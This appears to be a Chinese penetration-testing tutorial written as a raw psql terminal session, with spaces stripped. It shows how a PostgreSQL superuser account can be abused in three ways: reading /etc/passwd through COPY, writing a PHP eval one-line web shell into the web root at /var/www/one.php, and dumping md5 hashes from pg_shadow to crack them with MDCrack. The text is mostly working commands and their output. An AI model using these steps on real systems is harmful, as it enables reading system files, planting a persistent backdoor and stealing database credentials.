1.通过copy读文件
mickey@pentest:~/Pentest/crack/mdcrack$psql-h127.0.0.1-Upostgres
用户postgres密码:
psql(8.4.2)
SSLconnection(cipher:DHE-RSA-AES256-SHA,bits:256)
Type“help”forhelp.
postgres=#createtablefile(linetext);
CREATETABLE
postgres=#copyfilefrom”/etc/passwd”withdelimiter”:”;
ERROR:extradataafterlastexpectedcolumn
背景:COPYfile,line1:“root:x:0:0:root:/root:/bin/bash”
失败,是由于delimiter的问题,如果要读的文件包含有你指定的delimiter,则会失败,
postgres=#createtablefile(linetext);
CREATETABLE
postgres=#copyfilefrom”/etc/passwd”withdelimiterE”\t”;
COPY47
postgres=#select*fromfile;
这次就成功了,用pg_read_file(),在实际渗透中不太现实,因为他限制目录访问了。
2.写一句话到web目录
postgres=#createtablefile(linetext);
CREATETABLE
postgres=#insertintofilevalues(E”<?phpeval($_POST[\''mickey\''];?>”);
INSERT01
postgres=#copyfile(line)to”/var/www/one.php”;
COPY1
3.破解数据库账户
postgres=#SELECTusename,passwdFROMpg_shadow;
usename|passwd
———-+————————————-
postgres|md518d0d1643114d8b58e27c77600a1c658
(1row)
加密算法为md5(password+username),以这个为例,密码为mickey,用户名为postgres,合并后为mickeypostgres,再经过md5加密后,就为18d0d1643114d8b58e27c77600a1c658
可以使用MDCRACK来破解
mickey@pentest:~/Pentest/crack/mdcrack$wineMDCrack-sse.exe–algorithm=MD5–append=postgres18d0d1643114d8b58e27c77600a1c658
*
* |